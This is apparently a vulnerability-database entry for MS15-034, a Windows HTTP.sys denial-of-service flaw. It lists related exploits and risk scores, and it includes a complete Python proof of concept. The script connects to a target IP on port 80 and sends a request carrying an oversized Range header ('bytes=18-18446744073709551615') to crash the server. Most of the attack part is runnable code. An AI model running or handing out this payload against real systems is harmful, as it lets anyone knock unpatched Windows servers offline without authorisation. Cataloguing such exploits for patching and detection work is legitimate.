Microsoft Windows - 'HTTP.sys' HTTP Request Parsing Denial of Service (MS15-034)

🗓️ 16 Apr 2015 00:00:00Reported by laurent gaffieType

Microsoft Windows - 'HTTP.sys' HTTP Request Parsing Denial of Service (MS15-034) tested on Win Server 2012R

Reporter	Title	Published	Views	Family All 43
zdt	Microsoft Window - HTTP.sys PoC (MS15-034)	15 Apr 201500:00	–	zdt
zdt	Microsoft Window (HTTP.sys) HTTP Request Parsing DoS (MS15-034)	17 Apr 201500:00	–	zdt
zdt	MS15-034 Microsoft IIS Remote Code Execution Exploit	19 Apr 201500:00	–	zdt
GithubExploit	Exploit for Code Injection in Microsoft	20 Oct 202511:22	–	githubexploit
GithubExploit	Exploit for Code Injection in Microsoft	20 Jun 201814:28	–	githubexploit
GithubExploit	Exploit for Code Injection in Microsoft	15 Apr 201515:05	–	githubexploit
Gitee	Exploit for Code Injection in Microsoft	27 Nov 202010:59	–	gitee
Gitee	Exploit for Code Injection in Microsoft	25 Nov 202023:04	–	gitee
Gitee	Exploit for Code Injection in Microsoft	17 Nov 202009:07	–	gitee
ATTACKERKB	CVE-2015-1635	14 Apr 201500:00	–	attackerkb

#Tested on Win Srv 2012R2.
import socket,sys

if len(sys.argv)<=1:
 sys.exit('Give me an IP')

Host = sys.argv[1]

def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()

#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"

SendPayload(Init, Host)
SendPayload(Payload, Host)

16 Apr 2015 00:00Current

8.2High risk

Vulners AI Score8.2

CVSS 210

CVSS 3.19.8

EPSS0.99999

SSVC